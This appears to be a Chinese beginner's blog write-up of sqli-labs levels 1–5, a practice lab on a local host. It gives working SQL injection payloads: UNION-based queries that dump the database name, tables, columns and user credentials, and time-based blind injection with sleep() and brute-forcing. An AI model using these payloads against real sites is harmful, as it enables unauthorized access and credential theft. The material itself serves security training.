[新手Sqli-labs]第1-5关

目录

Less - 1 基于错误的GET单引号字符型注入

Less - 2 GET-Error based- Intiger based(基于错误的GET整型注入)

Less - 3 GET-Error based- Single quotes with twust string(基于错误的GET单引号变形字符型注入)

Less - 4 GET-Error based- Double Quotse - String(基于错误的GET双引号字符型注入)

Less - 5 GET- Double Injection - Single Quoter -String(双注入GET单引号字符型注入)


Less - 1 基于错误的GET单引号字符型注入

首先我们F12键,用hacbar写入id=1:http://sqli-labs-master:8880/Less-1/?id=1

id 可以显示

那么在后面加单引号,看结果是否报错,要是报错,则存在注入

 结果报错,那我们知道了存在注入

然后我们用order by逐一测试,看他表格有几列:

http://sqli-labs-master:8880/Less-1/?id=1' order by 1 --+;

​ 

​ 

​ 

如图,表格最多有三列 。

然后判断其中第几列有回显,这里要用一个数据库里没有的数字,我用了-1:

http://sqli-labs-master:8880/Less-1/?id=-1' union select 1,2,3--+;

发现2,3列有回显,就可以爆出数据库:

http://sqli-labs-master:8880/Less-1/?id=-1' union select 1,2,database()--+;

 可以看到数据库名字,知道名字就可以查看数据库:

http://sqli-labs-master:8880/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables--+;

爆列:

http://sqli-labs-master:8880/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+;

爆出用户名和密码:

http://sqli-labs-master:8880/Less-1/?id=-1'union select 1,2, group_concat(concat_ws('~',username,password)) from security.users--+;

到此第一关就结束了。

Less - 2 GET-Error based- Intiger based(基于错误的GET整型注入)

以同样的方式,用HacBar写入id=1 ,出现用户名,然后在后面加上单引号:

http://sqli-labs-master:8880/Less-2/?id=1'

看到报错了,再加注释: http://sqli-labs-master:8880/Less-2/?id=1'--+

发现还是报错, 那试试不加单引号:

http://sqli-labs-master:8880/Less-2/?id=1--+

 不加单引号发现可以注入,说明是整型注入,然后之后的操作同第一关。

Less - 3 GET-Error based- Single quotes with twust string(基于错误的GET单引号变形字符型注入)

 以同样的方式,HacBar写入id=1,出现用户名,加单引号,报错:

 加注释符,还是报错:

 猜测语句是id=('$id'),尝试改为?id=1'):

http://sqli-labs-master:8880/Less-3/?id=1')union select 1,2,3--+ 

之后步骤相同。

Less - 4 GET-Error based- Double Quotse - String(基于错误的GET双引号字符型注入)

这里写入id=1出现用户名,然后不断测试,加单引号,单引号括号,都无法闭合,于是尝试双引号:http://sqli-labs-master:8880/Less-4/?id=-1") union select 1,2,3--+

其余的步骤同Less - 1.

Less - 5 GET- Double Injection - Single Quoter -String(双注入GET单引号字符型注入)

用同样的方法进行测试:http://sqli-labs-master:8880/Less-5/?id=1' union select 1,2,3--+

 他始终显示You are in......,无法回显,首先想到布尔盲注,用sleep跑一下:

http://sqli-labs-master:8880/Less-5/?id=1' and sleep(5) --+

发现存在明显延迟,时间延迟型盲注。

逐一的测试数据库名称有几位:http://sqli-labs-master:8880/Less-5/?id=1' and length(database())=1--+

得知名称有8位, 用burp suite抓包,一位一位的爆破名称:

http://sqli-labs-master:8880/Less-5/?id=1' and left(select database(),1)='a'--+

 

 

 第一位为s,以此类推,判断出完整数据库。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值